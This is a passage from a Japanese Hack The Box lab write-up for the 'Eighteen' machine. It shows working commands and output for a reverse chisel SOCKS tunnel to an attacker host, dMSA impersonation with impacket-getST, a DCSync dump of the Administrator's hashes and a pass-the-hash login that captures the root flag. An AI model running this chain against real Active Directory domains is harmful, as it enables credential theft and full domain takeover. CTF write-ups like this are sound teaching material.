Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
[*] Ticket written to ticket.kirbi

UserNamePwn$ のままになっていることに注目。本来、dMSA のチケットであれば attacker_dMSA$ が表示されるべきである。/dmsa フラグが無視され、単なる Pwn$ の TGS が返されたと考えられる(v1.6.4 では dMSA 機能が未実装の可能性がある)。v2.2.0 でも試みたが KDC_ERR_C_PRINCIPAL_UNKNOWN エラーとなり、こちらも正しく動作しなかった。

Rubeus ではこの攻撃パスを完遂できなかったため、Kali 側の Impacket (impacket-getST) を使用するアプローチに切り替える。nmap の全ポートスキャンでは Kerberos (ポート 88) の開放が確認できなかったため、chisel で SOCKS プロキシを構築する。

Chisel SOCKS プロキシ

Kali 側(サーバ):

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ chisel server --reverse --port 9999 --socks5
2026/02/24 20:39:51 server: Reverse tunnelling enabled
2026/02/24 20:39:51 server: Fingerprint EN1kpQ662wecvqjBnt0RXCS2/bJ7dWGN3tM3xb4eurA=
2026/02/24 20:39:51 server: Listening on http://0.0.0.0:9999

ターゲット側(クライアント):

Evil-WinRM から chisel バイナリをアップロードし、リバース SOCKS 接続を確立する。

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload /usr/share/chisel-common-binaries/chisel_1.11.3_windows_amd64.exe
Info: Uploading /usr/share/chisel-common-binaries/chisel_1.11.3_windows_amd64.exe to C:\Users\adam.scott\Documents\chisel_1.11.3_windows_amd64.exe
Data: 14149632 bytes of 14149632 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\chisel_1.11.3_windows_amd64.exe client 10.10.16.29:9999 R:socks
chisel_1.11.3_windows_amd64.exe : 2026/02/24 10:41:01 client: Connecting to ws://10.10.16.29:9999
+ CategoryInfo : NotSpecified: (2026/02/24 10:4...0.10.16.29:9999:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
2026/02/24 10:41:03 client: Connected (Latency 113.4378ms)

Kali 側の proxychains 設定に SOCKS5 プロキシを追加する。

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ echo "socks5 127.0.0.1 1080" | sudo tee -a /etc/proxychains4.conf
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ tail /etc/proxychains4.conf -n1
socks5 127.0.0.1 1080

これで proxychains 経由でターゲットの内部ネットワークにアクセスできるようになった。

impacket-getST による dMSA チケット取得

Pwn$ の認証情報を使い、impacket-getST で dMSA のチケットを取得する。

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ proxychains4 impacket-getST 'eighteen.htb/Pwn$:Password123!' -dmsa -self -impersonate 'attacker_dMSA' -dc-ip 10.129.241.10
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.241.10:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.241.10:88 ... OK
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Kali と DC の時刻のずれ(clock skew)が Kerberos の許容範囲を超えているため失敗。DC の時刻に合わせる必要がある。

Clock Skew の解消

別の Evil-WinRM セッションを開き(chisel 用のセッションはそのまま維持)、DC の現在時刻を取得する。

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> [DateTime]::UtcNow.ToString("yyyy-MM-dd HH:mm:ss")
2026-02-24 20:51:21

Kali 側の NTP 自動同期を無効化し、DC の時刻に手動で合わせる。

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ sudo timedatectl set-ntp false
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ sudo date -u -s "2026-02-24 20:51:12"
Tue Feb 24 08:51:12 PM UTC 2026

再度 impacket-getST を実行:

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ proxychains4 impacket-getST 'eighteen.htb/Pwn$:Password123!' -dmsa -self -impersonate 'attacker_dMSA' -dc-ip 10.129.241.10
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.241.10:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.241.10:88 ... OK
[*] Impersonating attacker_dMSA$
[*] Requesting S4U2self
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.241.10:88 ... OK
[*] Current keys:
[*] EncryptionTypes.aes256_cts_hmac_sha1_96:d5ce87878fb9b64ed3e1be9c76ad211cafc17f09e35178585552965a463c5503
[*] EncryptionTypes.rc4_hmac:7eadbfdf33e4c99f808a7d012b9e4a3e
[*] Previous keys:
[*] EncryptionTypes.rc4_hmac:0b133be956bfaddf9cea56701affddec
[*] Saving ticket in attacker_dMSA$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache

attacker_dMSA$ のチケット取得に成功。dMSA のキー(AES256、RC4)も取得できた。

DCSync — Administrator の NTLM ハッシュ取得

取得したチケットを使い、DCSync で Administrator のハッシュをダンプする。

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ export KRB5CCNAME=$(pwd)/attacker_dMSA\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ proxychains4 impacket-secretsdump 'eighteen.htb/attacker_dMSA$@DC01.eighteen.htb' -k -no-pass -just-dc-user Administrator
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:49679 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
[*] Kerberos keys grabbed
Administrator:0x14:977d41fb9cb35c5a28280a6458db3348ed1a14d09248918d182a9d3866809d7b
Administrator:0x13:5ebe190ad8b5efaaae5928226046dfc0
Administrator:aes256-cts-hmac-sha1-96:1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2
Administrator:aes128-cts-hmac-sha1-96:7b6b4158f2b9356c021c2b35d000d55f
Administrator:0x17:0b133be956bfaddf9cea56701affddec
[*] Cleaning up...

DCSync 成功。 Administrator の NTLM ハッシュを取得できた。

Root Flag

NTLM ハッシュで Pass-the-Hash し、Administrator として WinRM にログイン。

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ evil-winrm -i eighteen.htb -u Administrator -H 0b133be956bfaddf9cea56701affddec
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
eighteen\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
7707dd82861c01ea256fc609c2b6ca7c

Root flag: 7707dd82861c01ea256fc609c2b6ca7c